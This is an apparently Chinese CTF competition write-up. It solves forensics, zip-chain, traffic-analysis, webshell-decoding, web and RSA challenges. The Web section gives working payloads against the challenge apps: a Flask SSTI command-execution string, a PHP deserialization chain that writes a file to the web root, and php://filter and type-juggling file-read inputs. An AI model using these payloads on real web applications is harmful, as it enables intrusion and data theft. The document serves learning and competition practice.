解题情况 个人ID:boychai 个人排名:159 最终排名:153 还拿了一个Misc金手指,Misc排名为81 总结: 太难了,PWN有两个是有思路的,但是pwn好久没碰了就没深入解,第一天光卡在ez_forensics
题目中了,解到mobax的配置已经拿到了,一直再想办法绕过master的密码,到现在也不知道题解。
MISC 第1天 简单镜像提取 流15中发现一个压缩包 提取后拿到一个压缩包 内部有一个img文件 通过R-Studio工具打开直接有一个文件 恢复后 flag{E7A10C15E26AA5750070EF756AAA1F7C}
第1天 压力大,写个脚本吧 题目逻辑是压缩包中套压缩包,一共100个,每个都会提前给一个密码 写脚本之后可以拿到flag-hint.txt
内容如下 估计密码加起来最终是一个png,这里通过下面脚本可以直接出最终的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import zipfileimport osimport base64def decrypt_zip (zip_path, output_folder, pass_path, password_log_file ): try : password = get_password_from_txt(pass_path) if not password: print (f"无法获取密码:{pass_path} " ) return if os.path.exists(password_log_file): with open (password_log_file, "r" ) as log_file: existing_content = log_file.read() else : existing_content = "" with open (password_log_file, "w" ) as log_file: log_file.write(f"{password} \n{existing_content} " ) with zipfile.ZipFile(zip_path, "r" ) as zip_ref: zip_ref.setpassword(password.encode()) zip_ref.extractall(output_folder) print (f"解压成功:{zip_path} " ) except RuntimeError as e: print (f"密码错误或文件损坏:{zip_path} - {e} " ) except Exception as e: print (f"解压过程中出错:{zip_path} - {e} " ) def decrypt_multiple_zips (start_num, end_num, output_folder, password_log_file ): if not os.path.exists(output_folder): os.makedirs(output_folder) for i in range (start_num, end_num - 1 , -1 ): zip_filename = f"zip_{i} .zip" pass_filename = f"password_{i} .txt" zip_path = os.path.join(output_folder, zip_filename) pass_path = os.path.join(output_folder, pass_filename) if os.path.exists(zip_path): decrypt_zip(zip_path, output_folder, pass_path, password_log_file) else : print (f"文件不存在:{zip_path} " ) def get_password_from_txt (file_path ): """从密码文件读取Base64编码的密码并解码""" try : with open (file_path, "r" ) as file: encoded_password = file.read().strip() decoded_password = base64.b64decode(encoded_password).decode("utf-8" ) return decoded_password except Exception as e: print (f"读取密码文件出错:{file_path} - {e} " ) return None start_num = 99 end_num = 0 output_folder = "extracted_files" password_log_file = "password_log.txt" decrypt_multiple_zips(start_num, end_num, output_folder, password_log_file)
最终去password_log.txt
中可以拿到一个全部16进制的数据,丢到010中16进制粘贴,改为png格式即可拿到二维码照片。 扫描拿到flag{_PASSWORDs_is_fl@g!_}
第1天 简单算术 密文为ys~xdg/m@]mjkz@vl@z~lf>b
脚本直接跑
1 2 3 4 s = "ys~xdg/m@]mjkz@vl@z~lf>b " for i in range(1, 128): result = "" .join (chr(ord(c) ^ i) for c in s) print (f"i={i}: {result}" )
flag{x0r_Brute_is_easy!}
第2天 NetHttP 先导出爆破成功的流量,脚本如下,具体的判断方式是返回数据包返回rce
即成功,常规的这种爆破流量都是爆破成功后就不爆破了,这里是爆破成功了继续爆破每个字符都要从头到尾尝试一遍,通过下面脚本可以拿到所有相关的爆破成功的数据包,会导出到./output
目录中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 input_pcap="NetHttP.pcapng" output_dir="./output" mkdir -p "$output_dir " output_prefix="stream_" stream_ids=$(tshark -r "$input_pcap " -Y 'http contains "rce" and ip.dst == 192.168.111.1' -T fields -e tcp.stream | sort -u) if [ -z "$stream_ids " ]; then echo "没有找到符合条件的流 ID。" exit 1 fi for stream_id in $stream_ids ; do echo "导出流 $stream_id ..." tshark -r "$input_pcap " -Y "tcp.stream eq $stream_id " -w "$output_dir /$output_prefix$stream_id .pcapng" done echo "所有流的导出已完成。"
再通过下面命令把数据导出
1 2 cat * |strings |grep echo |awk -F "echo%20" '{print $2}' |awk -F "%20" '{print $1}' | base64 -d | sed 's/fi/\n/g' |awk -F "==" '{print $3}' |awk -F "'" '{print $2}' |sed ':a;N;$!ba;s/\n//g'
返回内容为
1 UzBJM2lXaHZzektiT00vT2FsS1RBMGZwbTVPNWNoVlZuWUd5S2Q1blY0ZXJBelJiVjZWNnc4Yi9VaU9mUUVjM0lqaDAwaEZqWUZVMUhheE51YjlHbmxQUy9sY2FtNW1BVGtmMnNKUzZKZ3BKbzZBU2hWUnhXRFlLS3JvamVVZUJaajVNRVBJOC80REdHR3VIRnhteDJieEFhaGREZTFjR25qVFpHV09OcE5JPQ==RmFrZSBGTGFnCm5vIGhlcmUK
俩等于号之后的是从/flag
中爆破的实际解密内容是假的flag,再看上面的数据 解密数据为S0I3iWhvszKbOM/OalKTA0fpm5O5chVVnYGyKd5nV4erAzRbV6V6w8b/UiOfQEc3Ijh00hFjYFU1HaxNub9GnlPS/lcam5mATkf2sJS6JgpJo6AShVRxWDYKKrojeUeBZj5MEPI8/4DGGGuHFxmx2bxAahdDe1cGnjTZGWONpNI=
再继续base64会发现都不是明文数据,从流量包尝试找其他内容,http的前几个数据包发现了一个被加密的私钥,如图内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 -----BEGIN ENCRYPTED PRIVATE KEY----- MIIC1DBOBgkqhkiG9w0BBQ0wQTApBgkqhkiG9w0BBQwwHAQIirzza4niI8QCAggA MAwGCCqGSIb3DQIJBQAwFAYIKoZIhvcNAwcECEXSIcOIuwGaBIICgHLW3Qb39/+E 0uKiOi8yevcztF5toCOGsh6Fi23zSIwCjH8VPO1lbpFCkW9789ldbxBbSwtXwMmF kTyFjOmymL/zktmt8PyExcWOGA481/IkpCPTmKAT8+67FJEdAf9BAZVPjqpu1Lla Ohnp3JFZ8SStSUWwvjLZafi4Ucf7ajJexwCTkkvB7mF8kostYaBOsNJ1GORRdL3c s73GxvX98MTLvF1DW5xujgdcl28msB3GHTxe7sSgScKfFUyfCViivW8FCqa6lfJo Tj3JZtNlpPiOr1PXPfIWBt0wEQaF3+ovTEVu7x1r1Q3mq61GpO3s4n6kdeGg9Dkp BYErmG76JdZtOWTZ88SrD7EDkh12EOdtM0ywR1DTYk4+fjKifkhPPrIGn8Nm07PE yTAS7UG0Ut2Ut722rOBsgIZlnk2vF8qbIvKJj1JGzedMLabnafF5/L2N4wP8ZeL8 fO1Asxy0o/Hk89rl7ZI8Aocc1ZRMHKfxg/XV2bFHv2q1M1y3CI9wUrGnvk+8oX0H T/5vFtfGb4QNiy+p6aTi+UEJOau5O0t4f2kAL6L/pgmLEMulKWVMK8u+p6os0cbt KbVBmjNE/uA8SCv8E9XcL+/LWsSVInrYwJQzWbLIYx5FTRk4479taV3BGEN+hbmU RqlIK8IwsVxWc4wC+oHoLMY4RllUZ9D2rBasMt6DOLA31Jjrabciv03zJPyqXcfi DVTFu9JfT1fF7eOClQzTvIlTDVIDMPfAqR6B+/AbZDiQ2aK/54i10kohmXT2qWoT pDYPWV2JGTXICaRyP8FYu26ZTdIKVB3PovfJEXR3yex14U5T8zFVpUQnoDJfNyPG qUVmlGScmkU= -----END ENCRYPTED PRIVATE KEY-----
这是个被加密的私钥,找了好久的密钥发现了一个最像密钥的字符串gdkfksy05lx0nv8dl
尝试通过下面命令解密
1 echo "gdkfksy05lx0nv8dl" | openssl rsa -in key.pem -out decrypted_private_key.pem -passin stdin
拿到私钥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 -----BEGIN PRIVATE KEY----- MIICdQIBADANBgkqhkiG9w0BAQEFAASCAl8wggJbAgEAAoGAaxYIU7D5lIndIBLu bRRywJZiAQ90QiRjuHAIsyyka69Wl1n9K4W9/hjNDeI5BP14oADSmOqLKmj8nw2w bk0mDZ0KbWfT3eCxttGoplMEoCqKizTMdHGe7MUaK9A2CKIHOsHQhkpAmwLcDzNr bLg9nx0hjPUDefqwCn1q7B/IQPMCAwEAAQKBgEQaQ/ttrpwfvUhbodQvT/dY7ET+ XhJ+cAjo/y9r8bkmTmx853xZVwYVIbt1pouc46zmOQjVCOJU2GwS2aScXdkx8Fm1 YQJqzbxcZ4oEA/f66E99560um3RRsa7DWKwNdIcU4wukyfgx5fILoiuE8ThjG23V b3oDOzaIhyCrcO65AkEApZJjxmMk0AB8ZUkhIqw+2gD4N5SPisae+aFfLgLt14H4 VwSZxl2kRs7yhZGl5spFlxdotym3YS/30aY3/+3GPQJBAKWSY8ZjJNAAfGVJISKs PtoA+DeUj4rGnvmhXy4C7deB+FcEmcZdpEbO8oWRpebKRZcXaLcpt2Ev99GmN//t xu8CQQCf2DInBvQ1MyLlDbLFrJCJGsKHtg7WJWa5DQe8fetsUPeV2sUycpj0Gzqb pL8Ljl+cvGbF3apCU3LmnZgWplDpAkB+i1EYqmPTWdu5adgacP0kj4Mmr7O5xC5y 6kQdnX18rchJcam5843/1GGFdpkOuF/Rp8GP5CFU9V157Yl1YJ0fAkAvcGpACEWD gZPSO8jGVr6XoVtA0tW2JMX/nPoxI1soLG38Kwaqc/+bepMmRQ50dlvZUA4uufmT N3OWrL+BavU0 -----END PRIVATE KEY-----
这种密钥都是RSA的密钥,尝试去赛博厨子中解密之前拿到的数据 拿到flagflag{343907d2-35a3-4bfe-a5e1-5d6615157851}
第2天 Weevil’s Whisper 做法和哥斯拉差不多,但是没加密,就一个异或函数,脚本如下,前面很多没用的数据,我是挨个解析的,然后直接把流数据全部丢进来就可以拿到数据 这个原本的脚本可以在前几个流中拿到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php $k = "161ebd7d" ;$kh = "45089b3446ee" ;$kf = "4e0d86dbcf92" ;$p = "lFDu8RwONqmag5ex" ;function x ($t , $k ) { $c = strlen ($k ); $l = strlen ($t ); $o = "" ; for ($i = 0 ; $i < $l ; ) { for ($j = 0 ; ($j < $c && $i < $l ); $j ++, $i ++) { $o .= $t [$i ] ^ $k [$j ]; } } return $o ; } $data = ' POST /shell1.php HTTP/1.1 Accept-Encoding: identity Content-Type: application/x-www-form-urlencoded Content-Length: 299 Host: 192.168.234.130 User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.11 (KHTML, like Gecko) Safari/312 Connection: close 1S/#+4)~)z,\kA$u45089b3446eeSap86K9utSQlcG4AekDwIVMXH2nAbKAJHQZj7APeyeQI9ax+RrWMwxyS7ISBXyumsItkFg01j+OJ7iq21y5lz0ptqaP+jE57V450hKaS8GJEp1T8iQlB5JnHtwVWNuyzEy4GXjrmsBRYBvHPLLIJ2bmbhu63DEuitVx1lzAEkXJC9krmCFDUhRTckw7wwusTUY+c5KxMImweOfv5NatpKTMZTHvRnUVgWlMM+55bSJfINEScKUo4e0d86dbcf923^0(~}9G(y.l>nD"HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 15:58:42 GMT Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02 X-Powered-By: PHP/7.3.4 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92 ' ;@preg_match ("/$kh (.+)$kf /" , $data , $m ); echo @gzuncompress (@x (@base64_decode ($m [1 ]), $k ));@preg_match ("/$p $kh (.+)$kf /" , $data , $r ); echo gzuncompress (x ((base64_decode ($r [1 ])), $k ));
输出如下
1 try {chdir('C:\Applications\phpStudy\phpStudy_64\phpstudy_pro\WWW');@error_reporting(0);@system('type flag.txt 2>&1');}catch(Exception $e){echo "4X6l6ZERR".$e->getTrace()[0]["function"].": ".$e->getMessage()."4X6l6ZERR";}flag{arsjxh-sjhxbr-3rdd78dfsh-3ndidjl}
即flagflag{arsjxh-sjhxbr-3rdd78dfsh-3ndidjl}
第2天 find me 里面有个密码压缩包,然后目录结构是我的世界的,给他导入到我的世界中 导入之后用游戏打开会提示 搜寻之后会拿到一个附魔书里面有一个key 密码即:cwqeafvfwqead 解密后拿到密文 把flag放上头,随波逐流可以一把梭出来 flag{535e0a20-189e-4049-ab30-dec60bac91b8}
WEB 第1天 easy_flask 这是一个SSTI
,没学过这一块,后续整理,具体的构造方式为{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /app/flag').read() }}
第1天 file_copy 没接触过这种题目,后续整理,考点主要是PHP Filter链——基于oracle的文件读取攻击
可以参考下面连接
第2天 easy_ser payload构造如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class STU { public $stu ; } class SDU { public $Dazhuan ; } class CTF { public $hackman = "PD89YGNhdCAvZipgOw==" ; public $filename = 'aaaa.php' ; } $sdu = new SDU ();$stu = new STU ();$ctf = new CTF ();$sdu ->Dazhuan = $stu ;$stu ->stu = $ctf ;echo serialize ($sdu );
PD89YGNhdCAvZipgOw==
可以绕过过滤,实则他就是
最终会把flag导出到网站目录的aaaa.php
中直接访问可以拿到flag 即flag{f44ab7d7195a1f156aa2fbc1ceba61ec}
第3天 easy_php 打开之后可以直接下载源码,源码中的file.php中内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php header ("content-type:text/html;charset=utf-8" );include 'function.php' ;include 'class.php' ;$file = $_GET ["file" ] ? $_GET ['file' ] : "" ;if (empty ($file )) { echo "<h2>There is no file to show!<h2/>" ; } $show = new Show ();if (file_exists ($file )) { $show ->source = $file ; $show ->_show (); } else if (!empty ($file )){ die ('file doesn\'t exists.' ); } ?>
在SHOW()这个类中,内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; echo $this ->source; } public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } public function __set ($key ,$value ) { $this ->$key = $value ; } public function _show ( ) { if (preg_match ('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file ($this ->source); } } public function __wakeup ( ) { if (preg_match ("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } }
当设置好source
之后去_show的时候/http|https|file:|gopher|dict|\.\.|f1ag/i
只要不是这些就会直接显示,即构造payload为GET/file.php?file=/flag
即拿到flagflag{a16dcb7549915546893a27a6d7927615}
第3天 easy_code 这道题也是后续整理的,网站中有个robots.txt访问后会发现有个gogogo.php,访问之后主要是这里,并且题目也提示了需要溢出,之后通过filter去读取read.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if ($ctfer === null ) { die ("error 0!" ); } if (!is_numeric ($ctfer )) { die ("error 1!" ); } if ($ctfer != 667 ) { die ("error 2!" ); } if (strpos (strval ($ctfer ), '7' )!== false ) { die ("error 3!" ); }
最终构造的payload是
1 2 ctfer=6.66999999999999999999999999999999999999999e2 file=php://filter/convert.iconv.utf-8.utf-16le/resource=read.php
Crypto 第1天 通往哈希的旅程 在数字城,大家都是通过是通过数字电话进行的通信,常见是以188开头的11位纯血号码组成,亚历山大抵在一个特殊的地方截获一串特殊的字符串”ca12fd8250972ec363a16593356abb1f3cf3a16d”,通过查阅发现这个跟以前散落的国度有点相似,可能是去往哈希国度的。年轻程序员亚力山大抵对这个国度充满好奇,决定破译这个哈希值。在经过一段时间的摸索后,亚力山大抵凭借强大的编程实力成功破解,在输入对应字符串后瞬间被传送到一个奇幻的数据世界,同时亚力山大抵也开始了他的进修之路。(提交格式:flag{11位号码}) 题目主要是想让写脚本爆破,我尝试爆破一直没出,估计是脚本写错了,就直接去cmd5这种网站直接梭了。密文是ca12fd8250972ec363a16593356abb1f3cf3a16d
取前18个去https://www.somd5.com/中解 直接出flag,拿全部的去cmd5也能解出 flag{18876011645}
第3天 funny_rsa 参考脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import gmpy2from Crypto.Util.number import *funny1 = ( -17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374 ) funny2 = 23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011 funny3 = 419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024 funny4 = 13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479 n = (funny3 + 1025 ) // gmpy2.gcd(funny3 + 1025 , funny2) p_add_q = funny1 + n p = 146244963903123897384722629319865983862385290427491632619680838698915634884136798118860944346342346684665267628932533730684360351083477628483048417394493368921029652616722076101582581881994784549216229374327065827698990452634615021972143959360660773895031574424678151072027651307994605157369826310532546455301 q = n // p phi = (p - 1 ) * (q - 1 ) d = gmpy2.invert(65537 , phi) hint = pow (funny4, d, n) flag = long_to_bytes(funny2 // hint) print (flag)print ( long_to_bytes( 5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861 ) )
其中p 是题目中给定的一个质数,用来构造 RSA 的模数 n,而5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861
开头的数字是通过私钥解密 funny4 得到的密文结果。